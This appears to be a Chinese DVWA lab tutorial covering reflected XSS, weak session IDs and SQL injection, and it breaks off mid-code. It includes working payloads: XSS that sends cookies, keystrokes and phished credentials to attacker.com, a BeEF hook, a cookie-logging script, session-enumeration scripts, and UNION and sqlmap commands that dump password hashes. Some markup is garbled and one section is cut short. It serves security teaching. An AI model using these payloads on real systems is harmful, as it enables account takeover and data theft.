    // $_GET[ 'name' ] - 获取用户输入的name参数
    // 例如：?name=
    // 问题：没有任何HTML编码、过滤或验证
    // 用户输入的任何内容都会直接插入HTML中执行
    $html .= 'Hello ' . $_GET[ 'name' ] . '
';
}

?>

漏洞分析

核心问题：

直接输出用户输入 - 没有任何过滤
无HTML编码 - 特殊字符<>不转义
无内容安全策略 - 允许执行任意脚本
无输入验证 - 接受任何字符

攻击原理：


?name=Alice
输出：<pre>Hello Alicepre>


?name=<script>alert('XSS')script>
输出：<pre>Hello <script>alert('XSS')script>pre>
结果：浏览器执行脚本，弹出XSS对话框

攻击步骤

步骤1：基础测试

测试1：简单弹窗


<script>alert('XSS')script>


http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')script>


页面弹出对话框显示"XSS"

测试2：大小写混淆

1 2	<ScRiPt>alert('XSS')ScRiPt>

测试3：其他标签


<img src=x onerror=alert('XSS')>


<body onload=alert('XSS')>


<svg onload=alert('XSS')>

步骤2：窃取Cookie

Payload：

<script>
// 将Cookie发送到攻击者服务器
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
script>


<script>location='http://attacker.com/?c='+document.cookiescript>


<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

攻击者服务器（steal.php）：


// 接收并记录Cookie
$cookie = $_GET['cookie'];
$log = fopen('cookies.txt', 'a');
fwrite($log, date('Y-m-d H:i:s') . ' - ' . $cookie . "\n");
fclose($log);
?>

步骤3：键盘记录

<script>
// 记录用户输入
document.onkeypress = function(e) {
    fetch('http://attacker.com/log.php?key=' + e.key);
}
script>

步骤4：钓鱼攻击

<script>
// 创建假登录表单
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
    <h1>Session Expiredh1>
    <form action="http://attacker.com/phish.php" method="POST">
        Username: <input name="user"><br>
        Password: <input type="password" name="pass"><br>
        <button>Loginbutton>
    form>
div>
`;
script>

步骤5：BeEF挂钩


<script src="http://attacker.com:3000/hook.js">script>

步骤6：URL编码绕过

如果链接被过滤，使用URL编码：

原始：<script>alert('XSS')script>

URL编码：%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

完整URL：
http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

Medium 难度

攻击目标

添加了简单的过滤，但可以绕过。

后端代码分析



header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

    // ★★★ 新增：使用str_replace()过滤">

方法5：使用input

1	<input onfocus=alert('XSS') autofocus>

方法6：HTML5新标签


<details open ontoggle=alert('XSS')>


<marquee onstart=alert('XSS')>


<video src=x onerror=alert('XSS')>


<audio src=x onerror=alert('XSS')>

Impossible 难度

攻击目标

使用htmlspecialchars()正确编码，无法攻破。

后端代码分析



header ("Content-Type: text/html;charset=utf-8");

if( isset( $_GET[ 'name' ] ) ) {

    // ★★★ 核心防护：htmlspecialchars() ★★★
    // htmlspecialchars() - 将特殊字符转换为HTML实体
    // 参数1：要转换的字符串
    // 参数2：转换标志（可选）
    // 返回值：转换后的字符串
    //
    // 转换规则：
    // & （和号）  → &
    // " （双引号） → "（当ENT_NOQUOTES未设置时）
    // ' （单引号） → '（当ENT_QUOTES设置时）
    // < （小于号） → <
    // > （大于号） → >
    //
    // 作用：将HTML特殊字符转换为实体，使其作为文本显示而不是代码执行
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // 输出编码后的内容
    $html .= "Hello {$name}
";
}

?>

完善的防护机制

htmlspecialchars()工作原理：


<script>alert('XSS')script>


<script>alert('XSS')</script>


<script>alert('XSS')script>（作为文本显示）


因为<和>被转换为实体，浏览器不会将其解析为HTML标签

详细转换示例：

输入：alert('XSS')>
输出：<img src=x onerror=alert('XSS')>
显示：alert('XSS')>（纯文本）

输入：('XSS')>
输出：<svg onload=alert('XSS')>
显示：('XSS')>（纯文本）

输入：">
输出："><script>alert('XSS')</script>
显示：">（纯文本）

为什么无法攻破？

所有攻击都被转义：

尝试1：<script>alert('XSS')script>
结果：<script>alert('XSS')</script>
状态：失败（作为文本显示）

尝试2：<img src=x onerror=alert('XSS')>
结果：<img src=x onerror=alert('XSS')>
状态：失败（作为文本显示）

尝试3：<svg onload=alert('XSS')>
结果：<svg onload=alert('XSS')>
状态：失败（作为文本显示）

尝试4："><script>alert('XSS')script>
结果："><script>alert('XSS')</script>
状态：失败（引号也被转义）

关键防御点：

所有HTML标签被转义 - <>变为<>
引号被转义 - 无法闭合属性
转换为HTML实体 - 浏览器将其视为文本
适用于所有上下文 - 标签、属性、内容都安全

防御建议

代码层面

1. 输出编码（最重要）

// ★★★ 推荐：使用htmlspecialchars() ★★★
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// ENT_QUOTES - 转换单引号和双引号
// UTF-8 - 指定字符编码

echo "$safe_output
";

2. 不同上下文使用不同编码

// HTML内容
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// HTML属性
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// JavaScript字符串
// 使用json_encode()
echo "";

// URL参数
urlencode($input);

// CSS
// 避免用户输入直接进入CSS，或使用CSS编码库

3. 内容安全策略（CSP）

// 设置CSP头
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");

// 禁止内联脚本
// 只允许从同源加载脚本

CSP配置示例：

Content-Security-Policy:
  default-src 'self';                    # 默认只允许同源
  script-src 'self' 'nonce-{random}';   # 脚本必须有nonce
  style-src 'self' 'unsafe-inline';      # 允许内联样式
  img-src *;                             # 允许任何来源的图片
  object-src 'none';                     # 禁止
  base-uri 'self';                       # 限制

4. 输入验证（辅助）

// 白名单验证
$allowed = '/^[a-zA-Z0-9 ]+$/';
if (!preg_match($allowed, $input)) {
    die("Invalid input");
}

// 长度限制
if (strlen($input) > 100) {
    die("Input too long");
}

// 防止JavaScript访问Cookie
setcookie('session', $value, [
    'httponly' => true,    // 防止XSS窃取Cookie
    'secure' => true,      // 只通过HTTPS传输
    'samesite' => 'Strict' // 防止CSRF
]);

框架层面

Laravel示例

// Blade模板自动转义
{{ $user_input }}  // 自动使用htmlspecialchars()

// 不转义（危险！）
{!! $html_content !!}  // 仅用于可信内容

React示例

// React自动转义
{userInput}</div>  // 安全

// 危险方式（避免使用）
>

架构层面

使用模板引擎
- Twig（PHP）
- Jinja2（Python）
- Handlebars（JavaScript）
- 自动转义输出
WAF（Web应用防火墙）
- ModSecurity
- Cloudflare WAF
- AWS WAF
定期审计
- 代码审计
- 安全扫描工具
- 渗透测试

总结对比

特性 Low Medium High Impossible

输出编码 ❌ ❌ ❌ ✅ htmlspecialchars

过滤方式无 str_replace preg_replace N/A

过滤目标

无

测试

如果被过滤，尝试大小写混淆

如果仍被过滤，使用其他标签

使用Burp Suite查看过滤规则

针对性构造Payload

工具推荐：

Burp Suite - 拦截和修改请求
XSSer - 自动化XSS扫描
BeEF - 浏览器利用框架
XSS Hunter - XSS盲打平台

道德准则：

只在授权环境测试
不窃取真实用户数据
学习目的是防御，不是攻击

DVWA - Weak Session IDs (弱会话ID) 攻防练习详解

2025-11-20T15:31:37.128Z

漏洞简介

什么是Weak Session IDs（弱会话ID）？

Session ID是服务器用来识别用户会话的唯一标识符。弱会话ID是指可预测、容易猜测或破解的会话标识符。

Session的作用：

在HTTP无状态协议中维持用户状态
识别已登录用户
存储用户会话数据

危害：

会话劫持（Session Hijacking）
会话固定（Session Fixation）
未授权访问
账户接管
身份伪装

弱Session ID的特征：

可预测（如连续递增）
熵值太低（如只有数字）
基于时间戳
短长度
不随机

Low 难度

攻击目标

使用简单的计数器作为Session ID，完全可预测。

后端代码分析



// ★★★ 危险操作：使用简单计数器作为Session ID ★★★
// 检查cookie中是否有dvwaSession
if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

    // ★★★ 初始化：从0开始计数 ★★★
    // 第一个用户：dvwaSession=0
    // 第二个用户：dvwaSession=1
    // 第三个用户：dvwaSession=2
    // ...
    // 完全可预测！
    $last_session_id = 0;

    // ★★★ 尝试读取上一个Session ID ★★★
    // 从文件中读取最后使用的Session ID
    // __DIR__ - 当前文件所在目录
    // DIRECTORY_SEPARATOR - 目录分隔符
    // sessionid.txt - 存储Session ID的文件
    $sessionid_path = __DIR__ . DIRECTORY_SEPARATOR . 'sessionid.txt';

    // file_exists() - 检查文件是否存在
    if( file_exists( $sessionid_path ) ) {

        // ★★★ 读取上一个Session ID ★★★
        // file_get_contents() - 读取文件内容
        // intval() - 将字符串转换为整数
        $last_session_id = intval( file_get_contents( $sessionid_path ) );
    }

    // ★★★ 生成新的Session ID：简单递增 ★★★
    // 新Session ID = 上一个ID + 1
    // 问题：完全可预测！
    $session_id = ++$last_session_id;

    // ★★★ 保存新的Session ID到文件 ★★★
    // file_put_contents() - 将内容写入文件
    file_put_contents( $sessionid_path, $session_id );

    // ★★★ 设置Cookie ★★★
    // setcookie() - 设置Cookie
    // 参数1：Cookie名称
    // 参数2：Cookie值
    // 参数3：过期时间（0表示会话结束时删除）
    // 参数4：Cookie路径
    //
    // 问题：
    // 1. Session ID完全可预测
    // 2. 没有HttpOnly标志（可被JavaScript读取）
    // 3. 没有Secure标志（可通过HTTP传输）
    setcookie( "dvwaSession", $session_id, 0, "/" );
}

// 显示当前Session ID
$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

漏洞分析

Session ID生成方式：

用户1：dvwaSession = 0
用户2：dvwaSession = 1
用户3：dvwaSession = 2
用户4：dvwaSession = 3
...
用户N：dvwaSession = N-1

核心问题：

完全可预测 - 简单递增
低熵值 - 只是数字
易于暴力破解 - 从0开始尝试
无安全标志 - 无HttpOnly、Secure
存储在文件 - 不安全

攻击步骤

步骤1：观察Session ID模式

测试：

清除Cookie
访问DVWA的Weak Session IDs页面
记录你的Session ID（例如：15）
清除Cookie，再次访问
记录新的Session ID（例如：16）
重复几次

发现：Session ID连续递增！

步骤2：枚举其他用户的Session

Python脚本：

import requests

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
    'security': 'low',
    'PHPSESSID': '你的PHPSESSID'
}

# 假设当前Session ID是100
# 枚举前后的Session ID
for session_id in range(90, 110):
    cookies = cookies_base.copy()
    cookies['dvwaSession'] = str(session_id)

    response = requests.get(url, cookies=cookies)

    print(f"[*] Testing dvwaSession={session_id}")
    # 检查是否能访问
    if response.status_code == 200:
        print(f"[+] Session {session_id} is valid!")

步骤3：会话劫持

场景：

攻击者获知受害者的Session ID（通过XSS、网络嗅探等）
或者通过枚举猜测Session ID
使用该Session ID访问应用
冒充受害者身份

使用Burp Suite：

拦截请求
修改Cookie中的dvwaSession值
尝试不同的数字
找到有效的Session

步骤4：会话固定攻击

攻击流程：

攻击者清除Cookie，访问DVWA
记录自己的dvwaSession（例如：50）
诱导受害者使用这个Session（发送链接）
受害者使用dvwaSession=50登录
攻击者也使用dvwaSession=50访问
攻击者获得受害者的权限

Medium 难度

攻击目标

使用时间戳作为Session ID，仍然可预测。

后端代码分析



if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

    // ★★★ 使用时间戳作为Session ID ★★★
    // time() - 返回当前Unix时间戳（从1970-01-01 00:00:00 UTC到现在的秒数）
    //
    // 问题：
    // 1. 时间戳是可预测的
    // 2. 攻击者知道大致的时间范围
    // 3. 只需要在时间窗口内枚举
    $session_id = time();

    // 设置Cookie
    setcookie( "dvwaSession", $session_id, 0, "/" );
}

$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

新增防护

使用时间戳替代简单计数器

仍存在的漏洞

核心问题：

时间戳仍然是可预测的！

2024-11-20 22:00:00 → 1700503200
2024-11-20 22:00:01 → 1700503201
2024-11-20 22:00:02 → 1700503202
...

攻击者可以：

知道大致的时间范围
在这个范围内枚举（±几分钟）
找到有效的Session ID

绕过方法

方法1：时间窗口枚举

Python脚本：

import requests
import time

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
    'security': 'medium',
    'PHPSESSID': '你的PHPSESSID'
}

# 获取当前时间戳
current_time = int(time.time())

# 枚举前后5分钟的时间戳（300秒）
for offset in range(-300, 300):
    session_id = current_time + offset

    cookies = cookies_base.copy()
    cookies['dvwaSession'] = str(session_id)

    response = requests.get(url, cookies=cookies)

    if "valid session" in response.text.lower():
        print(f"[+] Found valid session: {session_id}")
        print(f"    Timestamp: {time.ctime(session_id)}")

方法2：已知用户登录时间

如果知道用户的登录时间（如：2024-11-20 15:30:00），可以：

import datetime
import time

# 已知登录时间
login_time = datetime.datetime(2024, 11, 20, 15, 30, 0)
timestamp = int(login_time.timestamp())

# 在前后1分钟内枚举
for offset in range(-60, 60):
    session_id = timestamp + offset
    # 测试这个Session ID
    print(f"Trying: {session_id}")

High 难度

攻击目标

使用MD5哈希，但基于时间戳，仍可预测。

后端代码分析



if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

    // ★★★ 使用MD5哈希时间戳 ★★★
    // time() - 当前时间戳
    // md5() - MD5哈希函数
    //
    // 例如：
    // time() = 1700503200
    // md5(1700503200) = "8e296a067a37563370ded05f5a3bf3ec"
    //
    // 问题：
    // 1. 虽然看起来随机，但基础数据（时间戳）是可预测的
    // 2. 攻击者可以预计算时间范围内的所有MD5值
    // 3. 然后枚举测试
    $session_id = md5( time() );

    setcookie( "dvwaSession", $session_id, 0, "/" );
}

$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

新增防护

使用MD5哈希时间戳

仍存在的漏洞

核心问题：

虽然使用了MD5，但输入源（时间戳）是可预测的！

攻击原理：

# 预计算MD5
import hashlib
import time

current = int(time.time())

# 生成前后5分钟的所有MD5值
md5_dict = {}
for offset in range(-300, 300):
    timestamp = current + offset
    md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest()
    md5_dict[md5_hash] = timestamp

# 现在有了MD5 → 时间戳的映射
# 可以用这个字典枚举Session ID

绕过方法

方法：预计算MD5字典

完整攻击脚本：

import requests
import hashlib
import time

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
    'security': 'high',
    'PHPSESSID': '你的PHPSESSID'
}

# 获取当前时间
current_time = int(time.time())

print("[*] Generating MD5 dictionary...")

# 生成前后10分钟的MD5字典（600秒）
md5_list = []
for offset in range(-600, 600):
    timestamp = current_time + offset
    md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest()
    md5_list.append((md5_hash, timestamp))

print(f"[*] Generated {len(md5_list)} MD5 hashes")
print("[*] Testing Session IDs...")

# 枚举测试
for md5_hash, timestamp in md5_list:
    cookies = cookies_base.copy()
    cookies['dvwaSession'] = md5_hash

    response = requests.get(url, cookies=cookies)

    if "valid" in response.text.lower():
        print(f"[+] Found valid session!")
        print(f"    Session ID: {md5_hash}")
        print(f"    Timestamp: {timestamp} ({time.ctime(timestamp)})")
        break

    # 避免请求太快
    time.sleep(0.1)

优化：多线程

import threading
import queue

def worker(q, results):
    while True:
        try:
            md5_hash, timestamp = q.get(timeout=1)

            cookies = cookies_base.copy()
            cookies['dvwaSession'] = md5_hash

            response = requests.get(url, cookies=cookies)

            if "valid" in response.text.lower():
                results.append((md5_hash, timestamp))

            q.task_done()
        except queue.Empty:
            break

# 创建队列和线程
q = queue.Queue()
results = []

# 添加任务到队列
for md5_hash, timestamp in md5_list:
    q.put((md5_hash, timestamp))

# 启动10个线程
threads = []
for i in range(10):
    t = threading.Thread(target=worker, args=(q, results))
    t.start()
    threads.append(t)

# 等待完成
q.join()

for t in threads:
    t.join()

print(f"[+] Found {len(results)} valid sessions")

Impossible 难度

攻击目标

使用PHP内置的安全Session机制，无法预测。

后端代码分析



// ★★★ 使用PHP内置的Session机制 ★★★
// session_start() - 启动或恢复会话
//
// PHP会：
// 1. 生成强随机的Session ID（使用CSPRNG）
// 2. Session ID长度：32字符（128位熵）
// 3. 使用字母数字：0-9, a-z（36个字符）
// 4. 总可能性：36^32 ≈ 6.3 × 10^49
//
// 例如：
// PHPSESSID = "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"
//
// 特点：
// - 密码学安全的随机数生成器
// - 高熵值（128位）
// - 完全不可预测
// - 暴力破解在计算上不可行
session_start();

// ★★★ 获取Session ID ★★★
// session_id() - 返回当前Session ID
// 这个ID是由PHP自动生成和管理的
$cookie_value = session_id();

?>

完善的防护机制

PHP Session ID特性：

强随机性
- 使用CSPRNG（密码学安全伪随机数生成器）
- 不可预测
高熵值
- 32字符长度
- 128位熵
- 36^32种可能性
自动管理
- PHP自动处理Session
- 安全的默认配置

安全选项

// 可以进一步加强
ini_set('session.cookie_httponly', 1);  // HttpOnly
ini_set('session.cookie_secure', 1);    // Secure
ini_set('session.use_only_cookies', 1); // 只使用Cookie
ini_set('session.cookie_samesite', 'Strict'); // SameSite

为什么无法攻破？

暴力破解计算：

Session ID长度：32字符
字符集：0-9, a-z（36个字符）
可能性：36^32 ≈ 6.3 × 10^49

假设：
- 每秒测试100万个Session ID
- 需要时间：6.3 × 10^49 / 10^6 ≈ 6.3 × 10^43 秒
- 转换为年：≈ 2 × 10^36 年

宇宙年龄：约 1.4 × 10^10 年

暴力破解在计算上完全不可行！

所有攻击都失败：

尝试1：枚举连续数字
结果：Session ID不是数字，是随机字符串

尝试2：基于时间预测
结果：Session ID与时间无关

尝试3：MD5字典
结果：Session ID不是基于简单哈希

尝试4：暴力破解
结果：计算上不可行（需要宇宙年龄的10^26倍）

防御建议

代码层面

1. 使用PHP内置Session（推荐）

// 启动Session
session_start();

// PHP会自动生成安全的Session ID
$session_id = session_id();

2. 配置Session安全选项

// php.ini 或运行时配置

// 使用HttpOnly（防止JavaScript读取）
ini_set('session.cookie_httponly', 1);

// 使用Secure（只通过HTTPS传输）
ini_set('session.cookie_secure', 1);

// 只使用Cookie（不在URL中传递）
ini_set('session.use_only_cookies', 1);

// 禁止透明Session ID
ini_set('session.use_trans_sid', 0);

// SameSite属性（防CSRF）
ini_set('session.cookie_samesite', 'Strict');

// Session名称（不使用默认PHPSESSID）
session_name('MyApp_Session');

// 自定义Session保存路径
session_save_path('/path/to/secure/directory');

3. 定期更新Session ID

// 登录后更新Session ID（防Session Fixation）
session_start();
if ($user_authenticated) {
    session_regenerate_id(true); // true表示删除旧Session
}

// 敏感操作前更新
if ($critical_operation) {
    session_regenerate_id(true);
}

4. 添加额外的安全检查

session_start();

// 绑定到IP地址（可选，可能影响移动用户）
if (!isset($_SESSION['ip'])) {
    $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
} elseif ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
    // IP changed, destroy session
    session_destroy();
    die('Session hijacking detected');
}

// 绑定到User-Agent
if (!isset($_SESSION['user_agent'])) {
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
    session_destroy();
    die('Session hijacking detected');
}

// Session超时
$timeout = 30 * 60; // 30分钟
if (isset($_SESSION['last_activity']) &&
    (time() - $_SESSION['last_activity']) > $timeout) {
    session_destroy();
    die('Session expired');
}
$_SESSION['last_activity'] = time();

5. 自定义Session ID生成器（高级）

// 如果需要自定义Session ID
function generate_secure_session_id() {
    // 使用random_bytes()生成强随机数
    $random_bytes = random_bytes(32);

    // 转换为十六进制字符串
    $session_id = bin2hex($random_bytes);

    return $session_id;
}

// 设置自定义ID
session_id(generate_secure_session_id());
session_start();

框架层面

Laravel示例

// Laravel自动管理Session，非常安全

// 配置文件：config/session.php
return [
    'driver' => 'database', // 或 'redis', 'memcached'
    'lifetime' => 120,
    'expire_on_close' => false,
    'encrypt' => true,
    'http_only' => true,
    'secure' => true,
    'same_site' => 'strict',
];

// 使用
session(['key' => 'value']);
$value = session('key');

// 更新Session ID
session()->regenerate();

监控和日志

// 记录Session活动
function log_session_activity() {
    $log = [
        'session_id' => session_id(),
        'user_id' => $_SESSION['user_id'] ?? 'anonymous',
        'ip' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'timestamp' => time(),
    ];

    file_put_contents(
        'session_log.txt',
        json_encode($log) . "\n",
        FILE_APPEND
    );
}

总结对比

特性	Low	Medium	High	Impossible
生成方式	递增计数器	时间戳	MD5(时间戳)	PHP Session
可预测性	完全可预测	高度可预测	可预测	不可预测
熵值	极低	低	中	高（128位）
长度	1-4位	10位	32字符	32字符
字符集	数字	数字	十六进制	字母数字
暴力破解	秒级	分钟级	小时级	不可行
安全标志	❌	❌	❌	✅（可配置）
攻击难度	极易	简单	中等	极难

常用攻击技巧

Session劫持

# 枚举Session ID
for session_id in range(0, 1000):
    cookies = {'dvwaSession': str(session_id)}
    response = requests.get(url, cookies=cookies)
    # 检查响应

Session固定

1. 攻击者获取Session ID：ABC123
2. 发送链接给受害者：http://site.com/?session_id=ABC123
3. 受害者登录（使用ABC123）
4. 攻击者使用ABC123访问（现在是已登录状态）

时间窗口攻击

# 针对基于时间的Session
import time
current = int(time.time())
for offset in range(-300, 300):
    test_session = current + offset
    # 或 md5(test_session)

实战建议

学习路径：

Low难度 - 理解递增Session的危险
Medium难度 - 学习时间窗口枚举
High难度 - 掌握预计算攻击
Impossible难度 - 理解强随机Session

攻击技巧：

观察Session ID模式
使用Python脚本自动化
多线程加速枚举
预计算常见哈希

防御重点：

使用PHP内置Session
配置安全选项（HttpOnly, Secure）
定期更新Session ID
绑定IP/User-Agent（可选）
设置超时

道德准则：

只在授权环境测试
不窃取他人Session
学习是为了构建安全系统

DVWA - SQL Injection (SQL注入) 攻防练习详解

2025-11-20T15:31:37.128Z

漏洞简介

什么是SQL注入（SQL Injection）？

SQL注入是一种代码注入技术，攻击者通过在应用程序的输入字段中插入恶意SQL代码，操纵后台数据库执行非预期的查询。

攻击原理：
应用程序将用户输入直接拼接到SQL查询语句中，没有进行适当的过滤和验证。

危害：

绕过登录验证
读取敏感数据（用户信息、密码）
修改数据库内容
删除数据
执行系统命令（高级）
完全控制数据库服务器

OWASP Top 10：
SQL注入长期位居OWASP十大Web应用安全风险前列。

Low 难度

攻击目标

完全未过滤的用户ID查询，存在严重SQL注入漏洞。

后端代码分析



// 检查是否提交了表单
// isset() - 检查变量是否存在且非NULL
// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组
if( isset( $_REQUEST[ 'Submit' ] ) ) {

    // ★★★ 危险操作：直接获取用户输入，无任何过滤 ★★★
    // 从请求中获取id参数
    // 例如：?id=1&Submit=Submit
    $id = $_REQUEST[ 'id' ];

    // ★★★ 核心漏洞：直接拼接SQL语句 ★★★
    // 将用户输入直接插入SQL查询
    // 没有任何验证、过滤或转义！
    // $id的值完全由用户控制
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

    // 执行SQL查询
    // mysql_query() - 执行MySQL查询（已废弃的函数）
    // or die() - 查询失败时终止并显示错误
    // mysql_error() - 返回MySQL错误信息（会泄露数据库结构！）
    $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

    // 获取查询结果
    // mysql_fetch_assoc() - 将结果行作为关联数组返回
    // 例如：['first_name' => 'admin', 'last_name' => 'admin']
    $row = mysql_fetch_assoc( $result );

    // 检查是否有结果
    if( $row ) {
        // 输出用户信息
        // {$row[ 'first_name' ]} - 在双引号字符串中插入变量
        // 
 - HTML换行标签
        $html .= 'ID: ' . $id . '
First name: ' . $row[ 'first_name' ] . '
Surname: ' . $row[ 'last_name' ] . '
';
    }
    else {
        // 未找到用户
        $html .= 'User ID is MISSING from the database.
';
    }

    // 关闭数据库连接
    mysql_close();
}

?>

漏洞分析

核心问题：

直接拼接SQL - 用户输入直接插入查询
无输入验证 - 不检查ID是否为数字
无特殊字符过滤 - 允许单引号、注释符等
错误信息泄露 - 显示MySQL错误（暴露数据库结构）
使用废弃函数 - mysql_query()已不再推荐

攻击向量：

-- 正常查询
SELECT first_name, last_name FROM users WHERE user_id = '1';

-- 注入攻击
-- 输入：1' OR '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
-- 结果：返回所有用户（因为 '1'='1' 永远为真）

攻击步骤

步骤1：判断是否存在SQL注入

测试1：输入单引号

输入：1'
完整SQL：SELECT ... WHERE user_id = '1'';
结果：SQL语法错误
错误信息：You have an error in your SQL syntax...

测试2：注释符测试

输入：1' -- 
（注意1'--后面需要有一个空格）
完整SQL：SELECT ... WHERE user_id = '1' -- ';
结果：正常显示ID=1的用户
说明：-- 注释掉了后面的单引号

测试3：逻辑测试

1
2
3

输入：1' OR '1'='1
完整SQL：SELECT ... WHERE user_id = '1' OR '1'='1';
结果：显示所有用户

步骤2：判断列数（UNION注入准备）

使用ORDER BY判断列数：

-- 输入：1' ORDER BY 1 --
-- 结果：正常（说明至少有1列）

-- 输入：1' ORDER BY 2 --
-- 结果：正常（说明至少有2列）

-- 输入：1' ORDER BY 3 --
-- 结果：错误（说明只有2列）
-- 结论：表有2列

步骤3：使用UNION注入获取数据

基本UNION注入：

-- 输入：1' UNION SELECT NULL, NULL --
-- 测试UNION是否可用

-- 输入：1' UNION SELECT 'test1', 'test2' --
-- 结果：显示 First name: test1, Surname: test2
-- 说明：可以注入任意数据

步骤4：获取数据库信息

获取数据库版本：

1 2	-- 输入：1' UNION SELECT @@version, NULL -- -- 结果：显示MySQL版本号

获取当前数据库名：

1 2	-- 输入：1' UNION SELECT database(), NULL -- -- 结果：显示当前数据库名（dvwa）

获取当前用户：

1 2	-- 输入：1' UNION SELECT user(), NULL -- -- 结果：显示当前数据库用户

步骤5：枚举数据库结构

获取所有数据库名：

1 2	-- 输入：1' UNION SELECT schema_name, NULL FROM information_schema.schemata -- -- 结果：列出所有数据库

获取所有表名：

1
2
3

-- 输入：1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' --
-- 结果：列出dvwa数据库中的所有表
-- 例如：users, guestbook等

获取列名：

1
2
3

-- 输入：1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
-- 结果：列出users表的所有列名
-- 例如：user_id, first_name, last_name, user, password等

步骤6：获取敏感数据

获取用户名和密码：

-- 输入：1' UNION SELECT user, password FROM users --
-- 结果：显示所有用户名和密码哈希
-- 例如：
-- First name: admin
-- Surname: 5f4dcc3b5aa765d61d8327deb882cf99 (password的MD5)

一次性获取所有用户信息：

1 2	-- 输入：1' UNION SELECT CONCAT(user,':',password), NULL FROM users -- -- 结果：admin:5f4dcc3b5aa765d61d8327deb882cf99

GROUP_CONCAT获取所有数据：

1
2
3

-- 输入：1' UNION SELECT GROUP_CONCAT(user,':',password SEPARATOR '
'), NULL FROM users --
-- 结果：一次性显示所有用户和密码
-- admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03...

步骤7：使用SQLMap自动化

基本用法：

# 安装sqlmap（Kali Linux自带）
apt-get install sqlmap

# 基本注入测试
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
--batch

# 获取所有数据库
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
--dbs

# 获取当前数据库的表
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
-D dvwa --tables

# 获取users表的数据
sqlmap -u "http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=你的session" \
-D dvwa -T users --dump

参数说明：

-u - 目标URL
--cookie - 设置Cookie
--batch - 使用默认选项（不询问）
--dbs - 枚举所有数据库
-D - 指定数据库
-T - 指定表
--dump - 导出数据

步骤8：使用Burp Suite

步骤：

拦截请求
发送到Repeater
修改id参数为注入payload
观察响应

示例payload：

1	id=1' UNION SELECT user, password FROM users --

Medium 难度

攻击目标

添加了mysqli和下拉菜单，但仍可注入。

后端代码分析



if( isset( $_POST[ 'Submit' ] ) ) {

    // ★★★ 改进1：使用POST而不是GET ★★★
    // $_POST - 从POST请求体获取数据
    // 相比GET更安全，不会出现在URL中
    $id = $_POST[ 'id' ];

    // ★★★ 改进2：使用mysqli_real_escape_string() ★★★
    // mysqli_real_escape_string() - 转义SQL语句中的特殊字符
    // 转义字符：\x00, \n, \r, \, ', ", \x1a
    // 作用：防止通过单引号闭合SQL语句
    // $GLOBALS["___mysqli_ston"] - mysqli数据库连接对象
    // 原理：'转义为\'，使其无法闭合字符串
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ 仍然拼接SQL，虽然转义了 ★★★
    // 注意：查询语句结构和Low难度相同
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

    // 使用mysqli_query执行查询
    // mysqli_query() - mysqli扩展的查询函数
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query )
        or die( '' . ((is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_error($GLOBALS["___mysqli_ston"])
        : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    // 获取结果
    // mysqli_fetch_assoc() - 将结果行作为关联数组返回
    $row = mysqli_fetch_assoc( $result );

    if( $row ) {
        $html .= 'ID: ' . $id . '
First name: ' . $row[ 'first_name' ] . '
Surname: ' . $row[ 'last_name' ] . '
';
    }
    else {
        $html .= 'User ID is MISSING from the database.
';
    }

